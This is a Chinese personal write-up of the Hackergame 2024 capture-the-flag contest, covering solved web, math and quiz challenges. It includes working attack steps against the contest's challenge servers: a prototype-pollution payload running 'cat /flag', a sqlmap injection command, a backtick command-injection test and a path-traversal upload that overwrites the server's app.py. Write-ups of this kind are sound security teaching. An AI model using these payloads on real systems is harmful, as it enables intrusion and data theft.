Hackergame 2024

看看你的 flag!

前言

比赛时间:北京时间 2024 年 11 月 02 日 中午 12:00 ~ 11 月 09 日 中午 12:00(共七天)

当前分数:1750, 总排名:340 / 2460

AI:0 , binary:0 , general:500 , math:150 , web:1100

今年毕业工作了,虽然公司也没什么忙的(甚至上班摸鱼玩了会),但下班过后再打开电脑确实会感觉时间很少。 不过也算是尽力完成了这次比赛,虽然 misc 的几道简单题没做出来很遗憾,但是 hackergame 依然是很有趣的比赛。

往年比赛 Writeup 2020、2021、2023 可以翻以前的博文(我才发现 hugo 没有 relative markdown 解析,唉果然还是想自己写一个)

签到

直接点击启动观察到 url http://202.38.93.141:12024/?pass=false

改为 http://202.38.93.141:12024/?pass=true 即可拿到 flag。

喜欢做签到的 CTFer 你们好呀

通过检索得到 USTC NEBULA 战队,在继续检索相关信息可以得到 https://www.nebuu.la/ 这个网站。

直观看上去就是一个 shell 嘛,先 help 看一下,然后看到有个 env 命令,直接查看就可以收获第一个 flag。

第二个 flag 也很简单,ls -al 或者 ls and-We-are-Waiting-for-U 都能看到 .flag 文件(后者不知道是不是 bug)。

猫咪问答(Hackergame 十周年纪念版)

  1. 在 Hackergame 2015 比赛开始前一天晚上开展的赛前讲座是在哪个教室举行的?(30 分)

    2015 年就是第二届,而现有的资料都是从 2018 年才有的,搜索引擎对 hackergame 2015 根本没有搜录。

    那么首先去 https://lug.ustc.edu.cn 翻翻可以直接在导航栏看到 信息安全大赛,点开 第二届安全竞赛(存档) 就可以看到答案了。

  2. 众所周知,Hackergame 共约 25 道题目。近五年(不含今年)举办的 Hackergame 中,题目数量最接近这个数字的那一届比赛里有多少人注册参加?(30 分)

    比赛首页 https://hack.lug.ustc.edu.cn/ 就有第六届-第十届的所有新闻稿,里面就写了参赛人数,每个对比一下,最高人数就是 2019 年第六届的 2682 人。

  3. Hackergame 2018 让哪个热门检索词成为了科大图书馆当月热搜第一?(20 分)

    既然是热搜,那首先去 google search trending 看看关联搜索词呗,没有结果,那就只能去看看 2018 年 有什么题目了 ,翻到 猫咪问答 就可以看到答案了。

  4. 在今年的 USENIX Security 学术会议上中国科学技术大学发表了一篇关于电子邮件伪造攻击的论文,在论文中作者提出了 6 种攻击方法,并在多少个电子邮件服务提供商及客户端的组合上进行了实验?(10 分)

    这题是花了时间最长的。

    首先搜索 usenix 可以得到 USENIX 2024 这个网站,但是这个页面数据有点多,不知道从何下手,于是谷歌站点检索 USENIX Security Email Forgery Attacks site:https://www.usenix.org/conference/usenixsecurity24 可以得到 论文列表,其中和 email 关键词相关的论文就只有 这一篇

    拿到论文后就直接跳到 experiment results 那边,可以看到 16 个电子邮件提供商和 20 个客户端,于是就分别尝试了 16 / 20 / 320 作为答案但是都不行,但是也懒得阅读论文,于是只能在其他题目都做完后进行爆破。

    源码如下:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    
    import time
    import requests
    
    URL = "http://202.38.93.141:13030"
    TOKEN = ""
    
    session = requests.session()
    session.get(URL, params={"token": TOKEN})
    
    for i in range(1, 1000):
        print("testing", i)
        response = session.post(URL, data=f"q1=3A204&q2=2682&q3=%E7%A8%8B%E5%BA%8F%E5%91%98%E7%9A%84%E8%87%AA%E6%88%91%E4%BF%AE%E5%85%BB&q4={i}&q5=6e90b6&q6=1833", headers={"Content-Type": "application/x-www-form-urlencoded"})
        response.raise_for_status()
        content = response.content.decode("utf-8")
        if content.count("flag{") >= 2:
            print("found flag", i, content)
        time.sleep(0.2)
    

    最终结果是 336,而在论文里也确实能看到 336 combinations,这题感觉出的有点差。

  5. 10 月 18 日 Greg Kroah-Hartman 向 Linux 邮件列表提交的一个 patch 把大量开发者从 MAINTAINERS 文件中移除。这个 patch 被合并进 Linux mainline 的 commit id 是多少?(5 分)

    去 linux kernel 源码找到当天的提交记录就行。

  6. 大语言模型会把输入分解为一个一个的 token 后继续计算,请问这个网页的 HTML 源代码会被 Meta 的 Llama 3 70B 模型的 tokenizer 分解为多少个 token?(5 分)

    搜索 llama 3 70b 就是 这个模型 了,因为我比较熟悉 AI 模型嘛,所以知道 AutoTokenizer 可以直接加载。

    源码如下:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    
    import transformers
    
    import torch
    import tokenizers
    
    html = open("./test4.html").read()
    
    # model_id = "meta-llama/Meta-Llama-3-70B"
    model_id = "NousResearch/Meta-Llama-3-70B"
    
    # pipeline = transformers.pipeline(
    #     "text-generation",
    #     model=model_id,
    #     model_kwargs={"torch_dtype": torch.bfloat16},
    #     device_map="auto",
    # )
    
    # print(pipeline.tokenizer)
    
    tokenizer = transformers.AutoTokenizer.from_pretrained(model_id)
    tokens = tokenizer.encode(html)
    print(len(tokens))
    
    # tokenizer = tokenizers.Tokenizer.from_file("./tokenizer.json")
    
    # tokens = tokenizer.encode(html)
    # print(len(tokens))
    

    输出是 1835,而官方 writeup 上似乎是 1834,再减去 BOS token,答案是 1833。 但是可能是因为我的源码直接从 devtools 拷贝下来的,所以可能有点不对。

    这题出的也不怎样,第一点是这个模型下载在 huggingface 上根本申请不到,只能去官网,第二点是这个 html 源码还需要你去把每个答案重新删掉再进一遍,很麻烦。

比大小王

devtools 看网络请求,可以一次性拿到所有题目,然后看 js submit 提交数据逻辑。

脚本如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import time
import requests

URL = "http://202.38.93.141:12122"
TOKEN = ""

session = requests.session()
session.get(URL, params={"token": TOKEN})

game_response = session.post(
    f"{URL}/game",
    json={},
)
print(game_response.request.headers)
print(game_response.status_code)
"""
data sample:
{'startTime': 1730558634.07, 'values': [[5, 2], [11, 12], [6, 15], [19, 4], [2, 10], [1, 10], [8, 10], [12, 10], [15, 8], [1, 8], [1, 13], [16, 11], [17, 18], [16, 19], [2, 9], [3, 6], [9, 1], [8, 12], [7, 19], [10, 7], [12, 6], [6, 18], [19, 7], [9, 6], [7, 4], [5, 17], [13, 14], [5, 9], [12, 10], [11, 14], [7, 17], [11, 12], [19, 8], [19, 2], [18, 1], [2, 16], [8, 5], [15, 13], [8, 7], [4, 8], [11, 0], [9, 4], [9, 2], [19, 17], [4, 19], [4, 12], [14, 15], [4, 10], [9, 11], [17, 5], [19, 2], [8, 16], [8, 3], [7, 11], [2, 13], [4, 13], [5, 10], [17, 5], [15, 16], [7, 17], [18, 9], [4, 17], [2, 5], [7, 10], [11, 4], [12, 8], [18, 9], [11, 8], [14, 1], [15, 3], [7, 15], [15, 16], [2, 15], [10, 3], [7, 15], [16, 2], [1, 6], [18, 12], [5, 4], [7, 16], [5, 13], [1, 18], [12, 3], [16, 18], [7, 3], [9, 8], [2, 15], [4, 8], [7, 16], [19, 0], [12, 9], [9, 12], [3, 9], [18, 19], [10, 15], [15, 2], [18, 17], [4, 10], [2, 4], [6, 15]]}
"""
game_details = game_response.json()

result = []
for value in game_details["values"]:
    if value[0] > value[1]:
        result.append(">")
    else:
        result.append("<")

# {'message': '检测到时空穿越,挑战失败!'}
print("waiting 8s")
time.sleep(8)

submit_response = session.post(f"{URL}/submit", json={"inputs": result})
print(submit_response.status_code, submit_response.content)
print(submit_response.json())

旅行照片 4.0

  1. 题目 1-2

    第一题搜地图完事了,第二题的话我其实早就关注了 LEO 酱,甚至还看了一会 ACG 音乐会直播。

  2. 题目 3-4

    第三题百度搜图搜了很久才找到,三色跑道的公园还挺多的,后来我在 这里 看到了答案。

    第四题也是百度搜图,很轻松就能搜到三峡大坝,然后查下景区就是 坛子岭

  3. 题目 5-6

    没做出来,盒能力还是太弱了,今年旅行照片能做出两题就勉勉强强了。

Node.js is Web Scale

一眼原型链污染,比较简单。

步骤:

  1. 设置 key __proto__.name 和 value cat /flag
  2. 访问 https://chal03-6w864ftr.hack-challenge.lug.ustc.edu.cn:8443/execute?cmd=name

然后就自动执行了注入的脚本,拿到 flag。

PaoluGPT

第一题 比较简单,就是脚本题,遍历每个网页找 flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import time
import requests
import re

URL = "https://chal01-8pbt3mw7.hack-challenge.lug.ustc.edu.cn:8443"
TOKEN = ""

session = requests.session()
session.get(URL, params={"token": TOKEN})

list_response = session.get(f"{URL}/list")
list_response.raise_for_status()
list_html = list_response.content.decode("utf-8")
links = re.findall(r"/view\?conversation_id=.{36}", list_html)

print(len(links), "number of link")

flag = ""

for link in links:
    view_response = session.get(f"{URL}{link}")
    print(view_response.status_code, link)
    if "flag" in (content := view_response.content.decode("utf-8")):
        print("found flag", link, content)
        flag = content

print("flag in", flag)

第二题 就比较复杂了,先审查一下源码可以看到 main.py 这部分:

1
2
3
4
5
@app.route("/view")
def view():
    conversation_id = request.args.get("conversation_id")
    results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")
    return render_template("view.html", message=Message(None, results[0], results[1]))

这部分的查询字符串拼接是个很明显的注入点。 于是 sqlmap 启动:

1
python sqlmap.py -u "https://chal01-8pbt3mw7.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id=63bb4f9a-e016-4e43-a3bc-865f65a7df74" --method GET -p conversation_id --cookie "<session>" --sql-query "select id from messages where shown = false" --threads 4

这里只记录了最终的 payload,不过这个表结构是需要自己 dump 一下才知道的,这里就省略了。

惜字如金 3.0

这是一道 math 题,很显然除了第一问,其余的我都没做出来。

不过第二问我写了个爆破脚本,但是估算了下,单线程爆破需要 45609 天的时间才能完成…

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import itertools
import time


def crc_a(input: bytes) -> int:
    poly, poly_degree = "AaaaaaAaaaAAaaaaAAAAaaaAAAaAaAAAAaAAAaaAaaAaaAaaA", 48
    assert len(poly) == poly_degree + 1 and poly[0] == poly[poly_degree] == "A"
    flip = sum(["a", "A"].index(poly[i + 1]) << i for i in range(poly_degree))
    digest = (1 << poly_degree) - 1
    for b in input:
        digest = digest ^ b
        for _ in range(8):
            digest = (digest >> 1) ^ (flip if digest & 1 == 1 else 0)
    return digest ^ (1 << poly_degree) - 1


def hash_a(input: bytes) -> bytes:
    digest = crc_a(input)
    u2, u1, u0 = 0xCB4ECDFD0A9F, 0xA9DEC1C1B7A3, 0x60C4B0AAB4BF
    assert (u2, u1, u0) == (223539323800223, 186774198532003, 106397893833919)
    digest = (digest * (digest * u2 + u1) + u0) % (1 << 48)
    return digest.to_bytes(48 // 8, "little")


def crc_b(input: bytes, poly: str) -> int:
    poly_degree = 48
    assert len(poly) == poly_degree + 1 and poly[0] == poly[poly_degree] == "B"
    flip = sum(["b", "B"].index(poly[i + 1]) << i for i in range(poly_degree))
    digest = (1 << poly_degree) - 1
    for b in input:
        digest = digest ^ b
        for _ in range(8):
            digest = (digest >> 1) ^ (flip if digest & 1 == 1 else 0)
    return digest ^ (1 << poly_degree) - 1


def hash_b(input: bytes, poly: str) -> bytes:
    digest = crc_b(input, poly)
    u2, u1, u0 = 0xDBEEAED4CF43, 0xFDFECEBDEED9, 0xB7E85A4E5DCD
    assert (u2, u1, u0) == (241818181881667, 279270832074457, 202208575380941)
    digest = (digest * (digest * u2 + u1) + u0) % (1 << 48)
    return digest.to_bytes(48 // 8, "little")


if __name__ == "__main__":
    my_input = b"xxx"
    # 140737488355328 times
    st = time.time()
    for i, selector in enumerate(itertools.product([0, 1], repeat=47)):
        poly_center = ["B"] * 47
        for poly_index, mask in enumerate(selector):
            if mask:
                poly_center[poly_index] = "b"
        poly = "B" + "".join(poly_center) + "B"
        print(i, poly)
        if i == 100000:
            print(time.time() - st)
            exit(0)
        if hash_a(my_input) == hash_b(my_input, poly):
            print("found b ploy", poly)
            break

LESS 文件查看器在线版

这题作为唯一一道没有解出来的 web 题,同时也只有 3 人完成的题目,就随便讲讲吧。

看源码审计的时候看到有两处字符串拼接,就以为是路径跨越或者命令注入,但是怎么都注入不进去,比如

1
txt`echo aaa`

然后确实也就束手无策了。

最后看到 wp 确实是利用了文件上传和 getshell,虽然没太看明白…

禁止内卷

flask…reload…file upload… 很经典的文件上传题。

目标是上传一个跨路径文件,触发 flask reload 加载你的代码,然后打印 flag。

题目连网站源码的位置都告诉你了,那么就直接替换掉 app.py 吧。

Payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# 纯手打,不一定完整
GET /submit HTTP1.1
Host: xxx
Content-Type: multipart/form-data; boundary=---------------------------403668309233383699842713014961
Cookie: xxx

-----------------------------403668309233383699842713014961
Content-Disposition: form-data; name="file"; filename="../../../tmp/web/app.py"
Content-Type: image/jpeg

from flask import Flask, render_template, request, flash, redirect
import json
import os
import traceback
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)

UPLOAD_DIR = "/tmp/uploads"

os.makedirs(UPLOAD_DIR, exist_ok=True)

# results is a list
try:
    with open("results.json") as f:
        results = json.load(f)
except FileNotFoundError:
    results = []
    with open("results.json", "w") as f:
        json.dump(results, f)


def get_answer():
    # scoring with answer
    # I could change answers anytime so let's just load it every time
    with open("answers.json") as f:
        answers = json.load(f)
        # sanitize answer
        for idx, i in enumerate(answers):
            if i < 0:
                answers[idx] = 0
    return answers


@app.route("/my", methods=["GET"])
def my_index():
    return open("answers.json", "r").read()


@app.route("/", methods=["GET"])
def index():
    return render_template("index.html", results=sorted(results))


@app.route("/submit", methods=["POST"])
def submit():
    if "file" not in request.files or request.files['file'].filename == "":
        flash("你忘了上传文件")
        return redirect("/")
    file = request.files['file']
    filename = file.filename
    filepath = os.path.join(UPLOAD_DIR, filename)
    file.save(filepath)

    answers = get_answer()
    try:
        with open(filepath) as f:
            user = json.load(f)
    except json.decoder.JSONDecodeError:
        flash("你提交的好像不是 JSON")
        return redirect("/")
    try:
        score = 0
        for idx, i in enumerate(answers):
            score += (i - user[idx]) * (i - user[idx])
    except:
        flash("分数计算出现错误")
        traceback.print_exc()
        return redirect("/")
    # ok, update results
    results.append(score)
    with open("results.json", "w") as f:
        json.dump(results, f)
    flash(f"评测成功,你的平方差为 {score}")
    return redirect("/")

-----------------------------403668309233383699842713014961--

注入完成后,访问 /my 就可以访问到完整的 answers.json 文件内容。其内容是 list of integer,+65 后转 ascii 就可以看到 flag。(我哭死,它甚至把偏移都告诉我了)

CC BY-NC-SA 4.0 License